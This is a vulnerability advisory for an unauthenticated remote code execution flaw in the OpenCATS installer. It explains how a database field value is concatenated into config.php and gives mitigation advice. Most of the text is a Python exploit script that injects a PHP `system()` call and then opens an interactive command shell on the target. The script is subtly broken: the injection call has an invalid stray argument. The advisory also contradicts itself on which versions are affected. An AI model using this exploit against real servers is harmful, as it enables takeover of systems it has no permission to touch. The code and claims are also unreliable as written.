# OpenCATS Unauthenticated Remote Code Execution Vulnerability (CVE-2026-27760) ## Vulnerability Overview The OpenCATS installer contains a configuration injection vulnerability in its AJAX endpoint. Attackers can inject malicious PHP code into the `config.php` file by sending unprocessed requests to `modules/install/ajax/ui.php`. * **Root Cause**: When processing database configuration, the installer calls `CATSUtility::changeConfigSetting()`, which directly concatenates the user-supplied `$value` into a `define()` statement to write to the configuration file, without any filtering or escaping. * **Trigger Condition**: The target instance has not completed the installation wizard (i.e., the `INSTALL_BLOCK` file does not exist in the root directory). * **Exploitation Method**: 1. Check if the response from `/ajax.php?f=install:ui&a=databaseConnectivity` contains `setActiveStep`. 2. Inject PHP code (e.g., `system($_GET['cmd']);`) via a POST request. 3. Execute arbitrary commands by accessing `/index.php?cmd=16`. ## Impact Scope * **Affected Versions**: All versions (including the latest). * **Severity**: Critical (CVSS 9.2). * **Real-world Impact**: Exploitation is difficult in practice because it requires the target to be in an uninstalled state. However, exposed instances may still exist on the internet. ## Remediation * **Official Fix**: This vulnerability was fixed in commit `4644727`. * **Temporary Mitigation**: Ensure the installation wizard is completed to generate the `INSTALL_BLOCK` file, thereby disabling the installer endpoint. ## POC Code ```python #!/usr/bin/env python3 """OpenCATS - Unauthenticated RCE via Installer Config Injection""" import argparse import sys import requests INJECT_ENDPOINT = "/ajax.php" INJECT_PARAMS = {"f": "install:ui", "a": "databaseConnectivity"} def check(target, session): resp = session.get(f"{target}{INJECT_ENDPOINT}", params=INJECT_PARAMS) if resp.status_code != 200: return False if "installLocked" in resp.text: return False return "setActiveStep" in resp.text def inject(target, session): payload = "cats');system($_GET['cmd']);//" return session.post( f"{target}{INJECT_ENDPOINT}", params=INJECT_PARAMS, data={"user": payload}, status_code == 200 ) def execute(target, cmd, session): resp = session.get(f"{target}/index.php", params={"cmd": cmd}) return resp.text.split("<!DOCTYPE", 1)[0].strip() def main(): parser = argparse.ArgumentParser() parser.add_argument("target", help="http://host:port") parser.add_argument("-c", "--cmd", help="Command to execute") parser.add_argument("--check", action="store_true") args = parser.parse_args() target = args.target.rstrip("/") session = requests.Session() if not check(target, session): print("[-] Not vulnerable") sys.exit(1) print("[+] Installer accessible") if args.check: sys.exit(0) if not inject(target, session): print("[-] Injection failed") sys.exit(1) result = execute(target, "id", session) if not result: print("[-] RCE failed (config.php not writable?)") sys.exit(1) print(f"[+] RCE: {result}") if args.cmd: print(execute(target, args.cmd, session)) else: while True: try: cmd = input("$ ") except (EOFError, KeyboardInterrupt): break if cmd.strip() == "exit": break output = execute(target, cmd, session) if output: print(output) if __name__ == "__main__": main() ```